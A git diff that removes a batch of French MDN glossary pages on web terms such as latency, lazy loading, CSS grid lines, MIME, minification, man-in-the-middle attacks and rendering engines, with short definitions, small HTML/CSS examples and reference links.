diff --git a/files/fr/glossaire/latence/index.html b/files/fr/glossaire/latence/index.html deleted file mode 100644 index ff9cda00c1..0000000000 --- a/files/fr/glossaire/latence/index.html +++ /dev/null @@ -1,22 +0,0 @@ ---- -title: Latence -slug: Glossaire/Latence -tags: - - Audio - - Glossaire - - Media - - Performance Web - - Reference - - Réseau - - Video -translation_of: Glossary/Latency ---- -

La latence est le temps réseau nécessaire pour qu'une ressource demandée atteigne sa destination. Une latence faible est bonne, ce qui signifie qu'il y a peu ou pas de délai. Une latence forte est mauvaise, ce qui signifie que la ressource demandée prend beaucoup de temps à atteindre sa destination.

- -

La latence peut être un facteur dans tout type de flux de données, mais le terme est le plus souvent employé en tant que latence réseau (le temps nécessaire pour qu'un paquet de données se propage d'une source jusqu'à sa destination) et latence codec média (le temps nécessaire pour qu'une donnée source soit encodée ou décodée et atteigne le consommateur de la donnée finale).

- -

Pour approfondir

- - diff --git a/files/fr/glossaire/lazy_load/index.html b/files/fr/glossaire/lazy_load/index.html deleted file mode 100644 index 83374fd49a..0000000000 --- a/files/fr/glossaire/lazy_load/index.html +++ /dev/null @@ -1,17 +0,0 @@ ---- -title: Lazy load -slug: Glossaire/Lazy_load -tags: - - Glossary - - Lazy loading - - Reference - - Web Performance -translation_of: Glossary/Lazy_load ---- -

Lazy load (ou "chargement faineant" en français) est une stratégie qui repousse le chargement de certaines ressources (par exemple, des images) jusqu'à ce qu'elles soient nécessaires pour l'utilisateur, d'après l'activité de l'utilisateur et ses habitudes de navigation. Typiquement, ces ressources ne sont chargées que lorsqu'elles apparaissent sur la page affichée à l'écran. Lorsque le lazy-loading est correctement implémenté, le temps de chargement des ressources est réduit, ce qui contribue à améliorer le temps de charge initial (dont le time to interactive), puisque moins de ressources sont nécessaires pour que la page fonctionne.    

- -

Voir également

- - diff --git a/files/fr/glossaire/lgpl/index.html b/files/fr/glossaire/lgpl/index.html deleted file mode 100644 index 76aec58f52..0000000000 --- a/files/fr/glossaire/lgpl/index.html +++ /dev/null @@ -1,21 +0,0 @@ ---- -title: LGPL -slug: Glossaire/LGPL -tags: - - Glossaire - - Licence - - OpenPractices - - Partage - - Remixing -translation_of: Glossary/LGPL ---- -

La LGPL (GNU Lesser General Public License) est une licence de logiciel libre publiée par la Free Software Foundation. Elle constitue une alternative plus permissive que la stricte {{Glossary("GPL")}} {{Glossary("copyleft")}}. Alors que tout travail dérivé d'un programme sous licence GPL doit être distribué sous les mêmes termes (liberté d'utiliser, de partager, d'étudier et de modifier), la LGPL n'impose qu'au composant sous LGPL d'un programme dérivé de continuer à utiliser la LGPL, pas au programme dans son intégralité. La LGPL est habituellement utilisée comme licence pour les composants partagés comme les bibliothèques (.dll, .so, .jar, etc.).

- -

Pour approfondir

- -

Culture générale

- -
    -
  • {{interwiki("wikipedia", "GNU Lesser General Public License", "GNU LGPL")}} sur Wikipédia
    • -
  • Texte de la licence LGPL sur gnu.org
    • -
diff --git a/files/fr/glossaire/ligature/index.html b/files/fr/glossaire/ligature/index.html deleted file mode 100644 index 611b3208ee..0000000000 --- a/files/fr/glossaire/ligature/index.html +++ /dev/null @@ -1,20 +0,0 @@ ---- -title: Ligature -slug: Glossaire/Ligature -tags: - - CSS - - Design - - Glossaire -translation_of: Glossary/Ligature ---- -

Une ligature est une fusion de deux caractères en un seul nouveau caractère. Par exemple, en français, "œ" est une ligature de "oe".

- -

Vous pouvez implémenter les ligatures dans vos pages web avec {{cssxref("font-variant-ligatures")}}.

- -

Pour approfondir

- -

Culture générale

- -
    -
  • {{interwiki("wikipedia", "Ligature (écriture)", "Ligature")}} sur Wikipédia
    • -
diff --git a/files/fr/glossaire/ligne_de_base/index.html b/files/fr/glossaire/ligne_de_base/index.html deleted file mode 100644 index c4add007de..0000000000 --- a/files/fr/glossaire/ligne_de_base/index.html +++ /dev/null @@ -1,30 +0,0 @@ ---- -title: Ligne de base -slug: Glossaire/ligne_de_base -tags: - - Alignement - - CSS - - Glossaire - - SVG - - Typographie -translation_of: Glossary/baseline ---- -

La ligne de base (baseline en anglais) est une expression utilisée en typographie européenne et ouest-asiatique pour désigner une ligne imaginaire sur laquelle les caractères d’une police reposent.

- -

Les jambages des caractères tels que g et p s’étendent en dessous de cette ligne. Les {{Glossary("glyphe", "glyphes")}} avec des extensions supérieure et inférieure arrondies — comme le C ou le 3 — s’étendent légèrement en dessous de la ligne de base.

- -

Les écritures est-asiatique n’ont pas de ligne de base. Leurs glyphes sont placés dans une boite carrée sans jambage inférieur ou supérieur.

- -

En apprendre davantage

- -

Culture générale

- - - -

Référence technique

- - diff --git a/files/fr/glossaire/lignes_de_grille_(lines)/index.html b/files/fr/glossaire/lignes_de_grille_(lines)/index.html deleted file mode 100644 index bc6b012483..0000000000 --- a/files/fr/glossaire/lignes_de_grille_(lines)/index.html +++ /dev/null @@ -1,179 +0,0 @@ ---- -title: Ligne de grille (line) -slug: Glossaire/Lignes_de_grille_(lines) -tags: - - CSS - - Glossaire - - Grilles -translation_of: Glossary/Grid_Lines ---- -

Les lignes de grille sont créées avec la définition  des {{glossary("Grid Tracks", "pistes")}} (tracks) dans la grille explicite pour une grille CSS. Dans l'exemple suivant, est présentée une grille qui a 3 pistes de colonnes et 2 pistes de lignes. Cela nous donne 4 lignes de colonnes (column lines) et 3 lignes de lignes (row lines).

- -
- - -
<div class="wrapper">
-   <div>One</div>
-   <div>Two</div>
-   <div>Three</div>
-   <div>Four</div>
-   <div>Five</div>
-</div>
-
- -
.wrapper {
-  display: grid;
-  grid-template-columns: repeat(3, 1fr);
-  grid-template-rows: 100px 100px;
-}
-
- -

{{ EmbedLiveSample('example_1', '500', '250') }}

- -

Les lignes peuvent être adressées en utilisant leur numéro de ligne. Dans une langue de gauche à droite telle que l'anglais, la ligne de colonne 1 sera sur la gauche de la grille, la ligne de ligne 1 en haut. Les chiffres des lignes respectent le mode d'écriture du document et ainsi, dans une langue écrite de droite à gauche par exemple, la ligne de colonne 1 sera sur la droite de la grille. L'image ci-dessous montre les numéros de ligne de la grille, en supposant que la langue est écrite de gauche à droite.

- -

Diagram showing the grid with lines numbered.

-
- -

Les lignes sont également créées dans la grille implicite lorsque des pistes implicites sont créées pour contenir les éléments placés en dehors de la grille explicite, mais ces lignes ne peuvent pas être adressées avec un nombre.

- -

Placement des éléments sur la grille par numéro de ligne

- -

Après avoir créé une grille, vous pouvez placer des éléments sur la grille par numéro de ligne. Dans l'exemple suivant, l'élément est positionné de la ligne de colonne 1 à la ligne de colonne 3 et de la ligne de ligne 1 à la ligne de ligne 3.

- -
- - -
<div class="wrapper">
-   <div class="item">Item</div>
-</div>
-
- -
.wrapper {
-  display: grid;
-  grid-template-columns: repeat(3, 1fr);
-  grid-template-rows: 100px 100px;
-}
-.item {
-  grid-column-start: 1;
-  grid-column-end: 3;
-  grid-row-start: 1;
-  grid-row-end: 3;
-}
-
- -

{{ EmbedLiveSample('example_2', '500', '250') }}

-
- -

Nommage des lignes

- -

Les lignes créées dans la grille explicite peuvent être nommées, en ajoutant le nom entre crochets avant ou après les informations de dimensionnement de la piste. Lorsque vous placez un objet, vous pouvez utiliser ces noms à la place du numéro de ligne, comme illustré ci-dessous.

- -
- - -
<div class="wrapper">
-   <div class="item">Item</div>
-</div>
-
- -
.wrapper {
-  display: grid;
-  grid-template-columns: [col1-start] 1fr [col2-start] 1fr [col3-start] 1fr [cols-end];
-  grid-template-rows: [row1-start] 100px [row2-start] 100px [rows-end];
-}
-.item {
-  grid-column-start: col1-start;
-  grid-column-end: col3-start;
-  grid-row-start: row1-start;
-  grid-row-end: rows-end;
-}
-
- -

{{ EmbedLiveSample('example_3', '500', '250') }}

-
- -

En apprendre plus

- -

Références de propriété

- -
    -
  • {{cssxref("grid-template-columns")}}
    • -
  • {{cssxref("grid-template-rows")}}
    • -
  • {{cssxref("grid-column-start")}}
    • -
  • {{cssxref("grid-column-end")}}
    • -
  • {{cssxref("grid-column")}}
    • -
  • {{cssxref("grid-row-start")}}
    • -
  • {{cssxref("grid-row-end")}}
    • -
  • {{cssxref("grid-row")}}
    • -
- -

Further reading

- - diff --git a/files/fr/glossaire/lignes_de_grille_(row)/index.html b/files/fr/glossaire/lignes_de_grille_(row)/index.html deleted file mode 100644 index 1cfc2c9d23..0000000000 --- a/files/fr/glossaire/lignes_de_grille_(row)/index.html +++ /dev/null @@ -1,31 +0,0 @@ ---- -title: Ligne de grille (Row) -slug: Glossaire/Lignes_de_grille_(Row) -tags: - - CSS - - Glossaire - - Grilles -translation_of: Glossary/Grid_Rows ---- -

Une ligne de grille (row) est une piste horizontale dans une grille CSS, qui se situe dans l'espace entre deux lignes (lines) horizontales de lignes (rows). Elle est définie par la propriété {{cssxref("grid-template-rows")}} ou les propriétés raccourcies {{cssxref("grid")}} ou {{cssxref("grid-template")}}.

- -

De plus, des lignes peuvent être créées dans la grille implicite lorsque les éléments sont placés en dehors des lignes créées dans la grille explicite. Ces lignes seront automatiquement dimensionnées par défaut, ou peuvent avoir une taille spécifiée avec la propriété {{cssxref("grid-auto-rows")}}.

- -

Lorsque vous travaillez avec l'alignement dans une grille, l'axe le long duquel les lignes sont exécutées est appelé l'axe de ligne ou en ligne.

- -

En apprendre plus

- -

Références de propriété

- -
    -
  • {{cssxref("grid-template-rows")}}
    • -
  • {{cssxref("grid-auto-rows")}}
    • -
  • {{cssxref("grid")}}
    • -
  • {{cssxref("grid-template")}}
    • -
- -

En lire plus

- - diff --git a/files/fr/glossaire/locale/index.html b/files/fr/glossaire/locale/index.html deleted file mode 100644 index a2bea7a491..0000000000 --- a/files/fr/glossaire/locale/index.html +++ /dev/null @@ -1,16 +0,0 @@ ---- -title: Locale -slug: Glossaire/Locale -translation_of: Glossary/Locale ---- -

Les locales sont un ensemble de paramètres régionaux pour l'interface utilisateur basés sur la langue ou le pays.

- -

Un programme tire ses règles de locale de la langue du système hôte. Entres autres choses, les locales contiennent le format de papier, la devise, le format de date ou des nombres en usage dans une région donnée.

- -

En savoir plus

- -

Connaissances générales

- - diff --git a/files/fr/glossaire/loop/index.html b/files/fr/glossaire/loop/index.html deleted file mode 100644 index 30cee61e61..0000000000 --- a/files/fr/glossaire/loop/index.html +++ /dev/null @@ -1,20 +0,0 @@ ---- -title: boucle -slug: Glossaire/loop -tags: - - Glossaire - - Programmation - - scripts -translation_of: Glossary/loop ---- -

En {{Glossary("computer programming","programmation informatique")}}, une boucle est une séquence d'instructions répétées jusqu'à ce qu'une certaine condition soit vérifiée. Par exemple, le processus consistant à obtenir un élément parmi des données pour le modifier, et ensuite vérifier une {{Glossary("conditional","condition")}} , comme le fait qu'un compteur atteigne une valeur définie.

- -

Pour en savoir plus

- -

Culture générale

- -
    -
  • {{interwiki("wikipedia","Structure_de_contr%C3%B4le#Boucles","Boucles")}} sur Wikipédia
    • -
- -

 

diff --git a/files/fr/glossaire/ltr/index.html b/files/fr/glossaire/ltr/index.html deleted file mode 100644 index 4d5fc4d8bc..0000000000 --- a/files/fr/glossaire/ltr/index.html +++ /dev/null @@ -1,10 +0,0 @@ ---- -title: ltr -slug: Glossaire/ltr -tags: - - Composing - - Glossaire - - Localisation -translation_of: Glossary/ltr ---- -

ltr (Left To Right, soit gauche vers droite) est une propriété de {{glossary("locale")}} qui indique que le texte est écrit de la gauche vers la droite. Par exemple, la locale en-US (pour Anglais US) indique une écriture de gauche à droite.

diff --git "a/files/fr/glossaire/machine_d_\303\251tat/index.html" "b/files/fr/glossaire/machine_d_\303\251tat/index.html" deleted file mode 100644 index 65e92b2246..0000000000 --- "a/files/fr/glossaire/machine_d_\303\251tat/index.html" +++ /dev/null @@ -1,47 +0,0 @@ ---- -title: Machine d'état -slug: Glossaire/Machine_d_état -tags: - - Glossaire - - états -translation_of: Glossary/State_machine ---- -

Une machine d'état est une abstraction mathématique utilisée pour concevoir des algorithmes. Une machine d'état lit un ensemble d'entrées et passe à un état différent en fonction de ces entrées.

- -

Un état est une description de l'état d'un système en attente d'exécution d'une transition. Une transition est un ensemble d'actions à exécuter lorsqu'une condition est remplie ou qu'un événement est reçu. Dans un diagramme d'état, les cercles représentent chaque état possible et les flèches représentent les transitions entre les états.

- -

En regardant l'état final, vous pouvez discerner quelque chose sur la série d'entrées menant à cet état.

- -

Il existe deux types de machines d'état de base :

- -
-
machine déterministe à états finis
-
Ce type ne permet qu'une seule transition possible pour toute entrée autorisée. C'est comme l'{{Glossary("Statement","état")}} du "if" dans if x == true then doThis else doThat. L'ordinateur doit exécuter l'une des deux options.
-
machine non déterministe à états finis
-
Étant donné un état, une entrée peut conduire à plus d'un état différent.
-
- -

Figure 1 : Machine déterministe à états finis

- -

- -

Dans la Figure 1, l'état commence en State 1; l'état change vers State 2 en donnant l'entrée 'X', ou vers State 3 en donnant l'entrée 'Y'.

- -

Figure 2 : Machine non déterministe à états finis

- -

- -

En Figure 2, étant donné l'entrée 'X', l'état peut persister ou passer à State 2.

- -

Notez que toute {{Glossary("regular expression","expression régulière")}} peut être représentée par une machine d'état.

- -

En apprendre plus

- -

Culture générale

- -
    -
  • {{Interwiki("wikipedia", "Automate_fini","Automate fini")}} sur Wikipedia
    • -
  • {{Interwiki("wikipedia", "Automate_fini#Automates_UML","Automates UML")}} sur Wikipedia
    • -
  • {{Interwiki("wikipedia", "Machine_de_Moore","Machine de Moore")}} sur Wikipedia
    • -
  • {{Interwiki("wikipedia", "Machine_de_Mealy","Machine de Mealy")}} sur Wikipedia
    • -
diff --git a/files/fr/glossaire/mathml/index.html b/files/fr/glossaire/mathml/index.html deleted file mode 100644 index 9e95854608..0000000000 --- a/files/fr/glossaire/mathml/index.html +++ /dev/null @@ -1,26 +0,0 @@ ---- -title: MathML -slug: Glossaire/MathML -tags: - - CodingScripting - - Glossaire - - MathML - - Mathematical Markup Language - - XML -translation_of: Glossary/MathML ---- -

MathML (une application {{glossary("XML")}}) est un standard ouvert destiné à représenter des formules mathématiques dans des pages web. En 1998, MathML était d'abord une recommandation du W3C pour représenter des formules mathématiques dans le {{glossary("navigateur")}}. MathML a également d'autres applications parmi lesquelles les informations scientifiques et la synthèse vocale.

- -

Pour approfondir

- -

Culture générale

- -
    -
  • {{interwiki("wikipedia", "MathML", "MathML")}} sur Wikipédia
    • -
- -

Référence technique

- -
    -
  • {{spec("http://www.w3.org/Math/whatIsMathML.html", "MathML", "REC")}}
    • -
diff --git a/files/fr/glossaire/media/css/index.html b/files/fr/glossaire/media/css/index.html deleted file mode 100644 index 677bf4253f..0000000000 --- a/files/fr/glossaire/media/css/index.html +++ /dev/null @@ -1,32 +0,0 @@ ---- -title: Média (CSS) -slug: Glossaire/Media/CSS -tags: - - CSS - - Glossaire - - Intro - - Media -translation_of: Glossary/Media/CSS ---- -

Dans le contexte de {{Glossary("CSS")}} (Cascading Style Sheets), le terme média fait référence à la destination vers laquelle le document doit être dessiné par le {{Glossary("rendering engine")}}. Il s'agit généralement d'un écran—mais il peut également s'agir d'une imprimante, d'un synthétiseur vocal, d'un afficheur Braille ou d'un autre type de périphérique.

- -

CSS offre plusieurs fonctionnalités qui vous permettent d'ajuster les styles de votre document—ou même d'offrir différents styles—en fonction du type de support (tel que l'écran ou impression, pour n'en nommer que deux) ou des capacités de support (telles que la largeur, la résolution ou d'autres valeurs) de l'appareil du spectateur.

- -

Apprendre plus

- -

Culture générale

- - - -

Référence technique

- -
-
Requêtes médias
-
Définissez un ensemble de caractéristiques ou de paramètres requis pour appliquer les styles CSS qui sont spécifiés entre les accolades de la requête multimédia; par exemple: appliquer uniquement certains styles CSS pour les appareils inférieurs à 768 pixels.
-
{{cssxref("@media")}} at-rule
-
Appliquez conditionnellement une partie d'une feuille de style, en fonction du résultat d'une requête multimédia.
-
{{domxref("Window.matchMedia()")}}
-
Testez le périphérique de visualisation par rapport à une requête multimédia.
-
diff --git a/files/fr/glossaire/media/index.html b/files/fr/glossaire/media/index.html deleted file mode 100644 index f883de8273..0000000000 --- a/files/fr/glossaire/media/index.html +++ /dev/null @@ -1,17 +0,0 @@ ---- -title: Media -slug: Glossaire/Media -tags: - - Désambiguïsation - - Glossaire -translation_of: Glossary/Media ---- -

Le terme média est surchargé quand on parle du Web ; il prend des significations différentes selon le contexte.

- -

{{GlossaryDisambiguation}}

- -

Apprendre plus

- -
    -
  • {{interwiki("wikipedia", "Media")}} on Wikipedia
    • -
diff --git a/files/fr/glossaire/microsoft_edge/index.html b/files/fr/glossaire/microsoft_edge/index.html deleted file mode 100644 index 529e2a07df..0000000000 --- a/files/fr/glossaire/microsoft_edge/index.html +++ /dev/null @@ -1,16 +0,0 @@ ---- -title: Microsoft Edge -slug: Glossaire/Microsoft_Edge -tags: - - Glossaire - - Infrastructure - - Navigateur -translation_of: Glossary/Microsoft_Edge ---- -

Microsoft Edge est un navigateur graphique gratuit fourni avec Microsoft Windows et développé par Microsoft depuis 2014. D'abord connu sous le nom de Spartan, Edge a remplacé le très ancien navigateur Microsoft {{glossary("Microsoft Internet Explorer","Internet Explorer")}}.

- -

En savoir plus

- - diff --git a/files/fr/glossaire/microsoft_internet_explorer/index.html b/files/fr/glossaire/microsoft_internet_explorer/index.html deleted file mode 100644 index 0fab23fa07..0000000000 --- a/files/fr/glossaire/microsoft_internet_explorer/index.html +++ /dev/null @@ -1,47 +0,0 @@ ---- -title: Microsoft Internet Explorer -slug: Glossaire/Microsoft_Internet_Explorer -tags: - - Glossaire - - Internet Explorer - - Microsoft - - Microsoft Internet Explorer - - Navigateur - - Navigateur Web - - Navigation - - Système d'exploitation Windows - - Windows -translation_of: Glossary/Microsoft_Internet_Explorer ---- -

Internet Explorer (ou IE) est un {{glossary("navigateur")}} graphique gratuit maintenu par Microsoft pour conserver une compatibilité avec son utilisation en entreprise. {{glossary("Microsoft Edge")}} est actuellement le navigateur par défaut sous Windows.

- -

Microsoft a d'abord inclus IE dans Windows en 1995 en tant que composant de l'extension appelée "Microsoft Plus!". Aux alentours de 2002, Internet Explorer est devenu le navigateur le plus utilisé au monde, mais a depuis perdu du poids face à Chrome, Firefox, Edge et Safari.

- -

IE a évolué au fur et à mesure de nombreuses versions et en est actuellement à la 11.0.12, avec des déclinaisons sur ordinateur de bureau, appareils mobiles et console Xbox. Les versions pour Mac et UNIX, qui étaient autrefois disponibles, ont été abandonnées par Microsoft en 2003 et 2001 respectivement.

- -

Pour en savoir plus

- -

Culture générale

- -
    -
  • {{interwiki("wikipedia", "Internet Explorer", "Internet Explorer")}} sur Wikipédia
    • -
  • {{interwiki("wikipedia", "Internet Explorer#Historique", "Historique d'Internet Explorer")}} sur Wikipédia
    • -
  • {{interwiki("wikipedia", "Internet Explorer#Versions", "Versions d'Internet Explorer")}} sur Wikipédia
    • -
- -

À propos d'Internet Explorer

- - - -

Référence technique

- - diff --git a/files/fr/glossaire/mime/index.html b/files/fr/glossaire/mime/index.html deleted file mode 100644 index fd1487f5cd..0000000000 --- a/files/fr/glossaire/mime/index.html +++ /dev/null @@ -1,21 +0,0 @@ ---- -title: mime -slug: Glossaire/mime -tags: - - Débutant - - Glossaire - - Infrastructure - - MIME -translation_of: Glossary/mime ---- -

MIME "Multipurpose internet mail extensions" est un standard pour décrire des documents sous d'autres formes que du texte ASCII, par exemple audio, vidéo et images. Initialement utilisé pour les pièces jointes aux courriers électroniques, il est devenu le standard pour définir n'importe où les types de documents.

- -

Voir aussi Type Mime

- -

En apprendre plus

- -

Culture générale

- - diff --git a/files/fr/glossaire/minification/index.html b/files/fr/glossaire/minification/index.html deleted file mode 100644 index 794e296c0b..0000000000 --- a/files/fr/glossaire/minification/index.html +++ /dev/null @@ -1,12 +0,0 @@ ---- -title: minification -slug: Glossaire/minification -tags: - - Glossaire - - Performance - - Performance Web -translation_of: Glossary/minification ---- -

 La minification est le processus de suppression des données inutiles ou redondantes sans affecter la manière dont une ressource est traitée par le navigateur. La minification peut inclure la suppression des commentaires de code, des espaces blancs et du code inutilisé, ainsi que le raccourcissement des noms de variables et de fonctions. La minification est utilisée pour améliorer les performances web en réduisant la taille du fichier. Il s'agit généralement d'une étape automatisée qui se produit au moment de la construction.

- -

Comme la minification rend le code moins lisible pour les humains, les outils de développement ont des fonctionnalités de 'prettification' qui peuvent ajouter un espace blanc dans le code pour le rendre un peu plus lisible.

diff --git a/files/fr/glossaire/mitm/index.html b/files/fr/glossaire/mitm/index.html deleted file mode 100644 index be886dacd8..0000000000 --- a/files/fr/glossaire/mitm/index.html +++ /dev/null @@ -1,30 +0,0 @@ ---- -title: MitM -slug: Glossaire/MitM -tags: - - Attaque - - Glossaire - - Sécurité -translation_of: Glossary/MitM ---- -

Une attaque de l'homme du milieu (Man-in-the-middle attack MitM) intercepte une communication entre deux systèmes. Par exemple, un routeur Wi-Fi peut être compromis.

- -

En comparant cela au courrier physique : si vous échangez des lettres, le facteur peut intercepter chaque lettre que vous postez. Il l'ouvre, la lit, la modifie finalement, puis la reconditionne et seulement ensuite l'envoie à son destinataire initial. Celui-ci vous répond par lettre postée, et à nouveau, le facteur l'ouvre, la lit, la modifie éventuellement, la reconditionne et vous la remet. Vous ne savez pas qu'il y a un homme au milieu de votre canal de communication - le facteur est invisible pour vous et votre destinataire.

- -

Dans le courrier physique et la communication en ligne, il est difficile de se défendre contre les attaques MitM. Quelques conseils :

- -
    -
  • Ne pas ignorer les avertissements de certificat. Vous pourriez être connecté à un serveur d'hameçonnage ou à un serveur imposteur.
    • -
  • Les sites sensibles sans cryptage HTTPS sur les réseaux Wi-Fi publics ne sont pas fiables.
    • -
  • Vérifiez "HTTPS" dans votre barre d'adresse et assurez-vous que le chiffrement est en place avant de vous connecter.
    • -
- -
-

En apprendre plus

- -
    -
  • Article OWASP : Man-in-the-middle attack (en)
    • -
  • Wikipedia : Attaque de l'homme du milieu
    • -
  • L'en-tête {{HTTPHeader("Public-Key-Pins")}} ({{Glossary("HPKP")}}) peut significativement réduire le risque d'attaque MitM en demandant aux navigateurs d'exiger des certificats valides (liste blanche) pour toute connexion ultérieure à ce site.
    • -
-
diff --git a/files/fr/glossaire/mixin/index.html b/files/fr/glossaire/mixin/index.html deleted file mode 100644 index 71e68f8164..0000000000 --- a/files/fr/glossaire/mixin/index.html +++ /dev/null @@ -1,23 +0,0 @@ ---- -title: Mixin -slug: Glossaire/Mixin -tags: - - Glossaire - - Méthode - - Programmation - - Propriété -translation_of: Glossary/Mixin ---- -

Un mixin est une {{Glossary("class","classe")}} ou une {{Glossary("interface","interface")}} dans laquelle  une partie ou la totalité des {{glossary("method","méthodes")}} et des {{glossary("property","propriétés")}} sont implémentées en  exigeant qu'une autre {{glossary("class","classe")}} ou {{Glossary("interface")}} fournisse les éléments manquants . La nouvelle classe ou interface inclut alors à la fois les propriétés et les méthodes du mixin ainsi que celles qu'il définit lui-même. Toutes les méthodes et propriétés sont utilisées exactement de la même façon, qu'elles soient implémentées dans le mixin ou dans l'interface, ou qu'elle soit la classe qui implémente le mixin.

- -

L'avantage des mixins est qu'ils peuvent être utilisés pour simplifier la conception d'API dans lesquelles plusieurs interfaces doivent inclure les mêmes méthodes et propriétés.

- -

Par exemple, le {{domxref ("WindowOrWorkerGlobalScope")}} mixin est utilisé pour fournir des méthodes et des propriétés qui doivent être disponibles à la fois sur les interfaces {{domxref ("Window")}} et {{domxref ("WorkerGlobalScope")}}. Le mixin est implémenté par ces deux interfaces.

- -

Pour approfondir

- -

Culture générale

- -
    -
  • Mixin sur Wikipédia
    • -
diff --git a/files/fr/glossaire/mobile_d_abord/index.html b/files/fr/glossaire/mobile_d_abord/index.html deleted file mode 100644 index 8cd1f60275..0000000000 --- a/files/fr/glossaire/mobile_d_abord/index.html +++ /dev/null @@ -1,10 +0,0 @@ ---- -title: Mobile d'abord -slug: Glossaire/Mobile_d_abord -tags: - - Conception - - Disposition - - Glossaire -translation_of: Glossary/Mobile_First ---- -

Le "mobile d'abord", une forme d'{{Glossary("Progressive enhancement","amélioration progressive")}}, est une approche de développement et de conception web qui met l'accent sur l'établissement de priorités, en matière de conception et de développement, pour les tailles d'écrans mobiles plutôt que pour les écrans de bureau. La raison d'être de l'approche "mobile d'abord" est de fournir aux utilisateurs de bonnes expériences utilisateur à toutes les tailles d'écran, en commençant par créer une expérience utilisateur qui fonctionne bien sur les petits écrans, puis en l'optimisant pour les autres tailles d'écran. L'approche "mobile d'abord" contraste avec l'ancienne approche de la conception pour les tailles d'écran de bureau d'abord, puis seulement plus tard, en ajoutant un peu de support, pour les petites tailles d'écran.

diff --git a/files/fr/glossaire/modem/index.html b/files/fr/glossaire/modem/index.html deleted file mode 100644 index a561d35c74..0000000000 --- a/files/fr/glossaire/modem/index.html +++ /dev/null @@ -1,20 +0,0 @@ ---- -title: Modem -slug: Glossaire/Modem -tags: - - Débutant - - Glossaire - - Infrastructure -translation_of: Glossary/Modem ---- -

Un modem ("modulateur-démodulateur") est un appareil qui convertit les informations  numériques en informations analogiques et vice-versa, pour l'envoi de données à travers les réseaux. Différents types sont utilisés pour différents réseaux : des modems DSL pour les fils téléphoniques, des modems WiFi pour les ondes radio de courte portée, des modems 3G pour les tours de données cellulaires, etc.

- -

Les modems sont différents des {{Glossary("Router","routeurs")}}, mais de nombreuses entreprises vendent des modems combinés avec des routeurs.

- -

En apprendre plus

- -

Culture générale

- -
    -
  • {{Interwiki("wikipedia","Modem")}} sur Wikipédia
    • -
diff --git "a/files/fr/glossaire/modularit\303\251/index.html" "b/files/fr/glossaire/modularit\303\251/index.html" deleted file mode 100644 index adc14648d9..0000000000 --- "a/files/fr/glossaire/modularit\303\251/index.html" +++ /dev/null @@ -1,15 +0,0 @@ ---- -title: Modularité -slug: Glossaire/modularité -tags: - - CodingScripting - - Glossaire -translation_of: Glossary/modularity ---- -

Le terme Modularité se réfère au degré qu'ont les composants d'un système à être séparés et recombinés, il s'agit également de la division d'un paquet logiciel en unités logiques. L'avantage d'un système modulaire est qu'il peut traiter ses composants de manière indépendante.

- -

Pour approfondir

- -
    -
  • {{Interwiki("wikipedia","Programmation modulaire","Modularité")}} sur Wikipédia
    • -
diff --git a/files/fr/glossaire/moment_de_compilation/index.html b/files/fr/glossaire/moment_de_compilation/index.html deleted file mode 100644 index 22be739e22..0000000000 --- a/files/fr/glossaire/moment_de_compilation/index.html +++ /dev/null @@ -1,19 +0,0 @@ ---- -title: Moment de compilation -slug: Glossaire/Moment_de_compilation -tags: - - CodingScripting - - Glossaire - - JavaScript -translation_of: Glossary/Compile_time ---- -

Le moment de compilation est le moment allant du premier chargement du programme jusqu'à la fin de son {{Glossary("parse","analyse syntaxique")}}.

- -

Pour approfondir

- -

Culture générale

- -
    -
  • {{Interwiki("wikipedia", "Compile time")}} sur Wikipédia (anglais)
    • -
  • Compile Time sur Wikipédia(anglais)
    • -
diff --git a/files/fr/glossaire/moteur_de_recherche/index.html b/files/fr/glossaire/moteur_de_recherche/index.html deleted file mode 100644 index 6cc6eb3c7e..0000000000 --- a/files/fr/glossaire/moteur_de_recherche/index.html +++ /dev/null @@ -1,33 +0,0 @@ ---- -title: Moteur de recherche -slug: Glossaire/Moteur_de_recherche -tags: - - Glossaire - - Moteur de recherche - - Mécanismes web - - Navigation - - Recherche - - Web -translation_of: Glossary/Search_engine ---- -

Un moteur de recherche est un système logiciel qui collecte des informations à partir du {{Glossary("World Wide Web")}} et qui les présente aux utilisateurs qui recherchent des informations spécifiques.

- -

Un moteur de recherche dirige les processus suivants :

- -
    -
  • Robot d'indexation : Recherche de sites web par le parcours des {{Glossary("Hyperlink","Hyperliens")}} contenus sur les pages web, à la fois à l'intérieur d'un site, mais aussi d'un site vers un autre site. Le propriétaire d'un site web peut empêcher les robots d'indexation (ou araignées) des moteurs de recherche d'accéder à des zones du site en spécifiant l'information "robot exclusion" dans un fichier nommé robots.txt pour les exclure.
    • -
  • Indexation : Association de mots-clés et d'autres informations avec des pages web spécifiques qui ont été parcourues. Cela permet aux utilisateurs de trouver des pages pertinentes le plus rapidement possible.
    • -
  • Recherche : Recherche de pages web pertinentes basée sur des requêtes constituées de mots-clés et d'autres commandes adressées au moteur de recherche. Ce dernier trouve les URLs des pages qui correspondent à la requête et les classe en fonction de leur pertinence. Il présente ensuite les résultats à l'utilisateur dans l'ordre d'importance.
    • -
- -

Le moteur de recherche le plus populaire est Google. Parmi d'autres moteurs de recherche populaires figurent Yahoo!, Bing, Baidu et AOL.

- -

Pour approfondir

- - - -

 

diff --git a/files/fr/glossaire/moteur_de_rendu/index.html b/files/fr/glossaire/moteur_de_rendu/index.html deleted file mode 100644 index c47d87d80c..0000000000 --- a/files/fr/glossaire/moteur_de_rendu/index.html +++ /dev/null @@ -1,26 +0,0 @@ ---- -title: Moteur de rendu -slug: Glossaire/Moteur_de_rendu -tags: - - Glossaire - - Infrastructure - - Moteur de navigateur web - - Moteur de rendu -translation_of: Glossary/Rendering_engine ---- -

Un moteur de rendu est un logiciel qui trace du texte et des images à l'écran. Le moteur dessine du texte structuré à partir d'un document (souvent du {{glossary("HTML")}}), et le met en page correctement en se basant sur les déclarations de styles données (souvent indiquées dans des {{glossary("CSS")}}). Exemples de moteurs d'affichage : {{glossary("Blink")}}, {{glossary("Gecko")}}, Edge, {{glossary("WebKit")}}.

- -

Pour en savoir plus

- -

Culture générale

- -
    -
  • {{Interwiki("wikipedia", "Moteur de rendu HTML")}} sur Wikipédia
    • -
- -

Référence technique

